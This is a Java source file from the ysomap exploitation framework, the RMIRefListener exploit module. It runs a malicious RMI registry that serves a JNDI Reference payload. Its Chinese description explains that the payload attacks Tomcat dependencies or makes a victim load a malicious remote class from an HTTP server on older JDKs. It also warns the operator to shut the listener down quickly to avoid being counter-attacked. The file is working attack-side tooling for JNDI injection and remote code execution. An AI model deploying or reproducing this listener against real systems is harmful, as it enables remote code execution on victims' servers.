package ysomap.exploits.rmi;

import ysomap.common.annotation.*;
import ysomap.common.util.Logger;
import ysomap.common.util.Status;
import ysomap.exploits.AbstractExploit;

import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

/**
 * @author wh1t3P1g
 * @since 2020/2/27
 */
@Exploits
@Authors({Authors.WH1T3P1G})
@Require(bullets = {"JNDIRefWrapper"}, param = false)
@Details("设置一个RMI服务，返回特定的Reference对象。\n" +
        "当前服务可以有两种使用方式（payload：JNDIRefWrapper）:\n" +
        "1. 攻击本地tomcat依赖，payload的bullet选用TomcatRefBullet。\n" +
        "2. 动态加载外部恶意class文件，需要配合SimpleHTTPServer挂载恶意class文件，payload的bullet选用JNDIRefBullet。\n" +
        "需要JNDI连接，第2种需要JDK版本小于jdk8u113或者开启了相关配置。")
public class RMIRefListener extends AbstractExploit {

    @NotNull
    @Require(name = "lhost", detail = "回连地址，当前主机ip")
    public String lhost;

    @NotNull
    @Require(name = "lport", type = "int", detail = "local port to listen")
    public String lport;

    @NotNull
    @Require(name = "objectName", detail = "binding object's name")
    public String objectName;

    @NotNull
    public Object payload;
    public String payloadName;

    private Registry registry;

    @Override
    public void work() {
        needRunning = true;
        System.setProperty("sun.rmi.transport.tcp.logLevel","VERBOSE");
        System.setProperty("java.rmi.server.hostname", lhost);
        try {
            registry = LocateRegistry.createRegistry(Integer.parseInt(lport));
            registry.bind(objectName, (Remote) payload);
            Logger.success("RMIRefListener listening on "+ lport);
            Logger.success("不用的时候，尽快关闭当前exploit，可能存在被RMI反制的可能！！！");
        } catch (RemoteException | AlreadyBoundException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void stop() {
        if(registry != null){
            try {// close rmi registry
                registry.unbind(objectName);
                UnicastRemoteObject.unexportObject(registry, true);
            } catch (RemoteException | NotBoundException e) {
                e.printStackTrace();
            }
            Logger.success("RMIRef Listener stopped");
        }
        status = Status.STOPPED;
    }

    @Override
    public String toString() {
        return "RMIRefListener{" +
                "lhost='" + lhost + '\'' +
                "lport='" + lport + '\'' +
                ", objectName='" + objectName + '\'' +
                ", payload='" + payloadName + '\'' +
                '}';
    }

}
